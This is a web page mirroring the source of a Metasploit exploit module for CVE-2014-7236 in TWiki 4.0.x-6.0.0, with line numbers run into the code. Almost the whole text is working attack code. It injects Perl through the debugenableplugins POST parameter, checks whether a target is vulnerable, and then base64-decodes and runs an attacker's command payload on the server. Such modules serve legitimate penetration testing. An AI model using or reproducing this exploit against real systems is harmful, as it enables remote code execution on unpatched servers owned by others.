Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/twiki_debug_plugins.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'TWiki Debugenableplugins Remote Code Execution',13'Description' => %q{14TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.15The value of the debugenableplugins parameter is used without proper sanitization16in an Perl eval statement which allows remote code execution.17},18'Author' =>19[20'Netanel Rubin', # from Check Point - Discovery21'h0ng10', # Metasploit Module2223],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2014-7236'],28[ 'OSVDB', '112977'],29[ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236']30],31'Privileged' => false,32'Targets' =>33[34[ 'Automatic',35{36'Payload' =>37{38'BadChars' => "",39'Compat' =>40{41'PayloadType' => 'cmd',42'RequiredCmd' => 'generic perl python php',43}44},45'Platform' => ['unix'],46'Arch' => ARCH_CMD47}48]49],50'DefaultTarget' => 0,51'DisclosureDate' => '2014-10-09'))5253register_options(54[55OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]),56OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin'])57])58end596061def send_code(perl_code)62uri = target_uri.path63data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit"6465res = send_request_cgi!({66'method' => 'POST',67'uri' => uri,68'data' => data69})7071return res72end737475def check76rand_1 = rand_text_alpha(5)77rand_2 = rand_text_alpha(5)7879code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")"80res = send_code(code)8182if res and res.code == 20083return CheckCode::Vulnerable if res.body == rand_1 + rand_284end85CheckCode::Unknown86end878889def exploit90code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");"91code += "require('MIME/Base64.pm');MIME::Base64->import();"92code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit"93res = send_code(code)94handler9596end97end9899100